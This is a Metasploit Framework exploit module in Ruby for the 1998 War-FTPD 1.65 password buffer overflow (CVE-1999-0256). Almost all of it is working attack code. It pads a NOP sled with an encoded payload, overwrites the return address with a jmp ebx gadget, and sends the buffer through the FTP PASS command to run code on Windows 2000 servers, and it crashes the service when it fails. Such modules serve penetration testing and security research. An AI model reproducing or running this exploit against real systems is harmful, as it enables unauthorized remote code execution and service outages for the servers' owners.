War-FTPD 1.65 Password Overflow



##

# $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'War-FTPD 1.65 Password Overflow',
            'Description'    => %q{
                    This exploits the buffer overflow found in the PASS command
                in War-FTPD 1.65. This particular module will only work
                reliably against Windows 2000 targets. The server must be
                configured to allow anonymous logins for this exploit to
                succeed. A failed attempt will bring down the service
                completely.
            },
            'Author'         => 'hdm',
            'License'        => BSD_LICENSE,
            'Version'        => '$Revision: 9669 $',
            'References'     =>
                [
                    [ 'CVE', '1999-0256'],
                    [ 'OSVDB', '875'    ],
                    [ 'BID', '10078'    ],
                    [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Payload'        =>
                {
                    'Space'    => 424,
                    'BadChars' => "\x00\x0a\x0d\x40",
                    'StackAdjustment' => -3500,
                    'Compat'   =>
                        {
                            'ConnectionType' => "-find"
                        }
                },
            'Targets'        =>
                [
                    # Target 0
                    [
                        'Windows 2000',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x5f4e772b # jmp ebx in the included MFC42.DLL
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Mar 19 1998'))
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        buf          = make_nops(566) + payload.encoded
        buf[558, 2]  = "\xeb\x06"
        buf[562, 4]  = [ target.ret ].pack('V')

        # Send USER Command
        send_user(datastore['FTPUSER'])

        # Send PASS Command
        send_cmd(['PASS', buf], false)

        handler
        disconnect
    end

end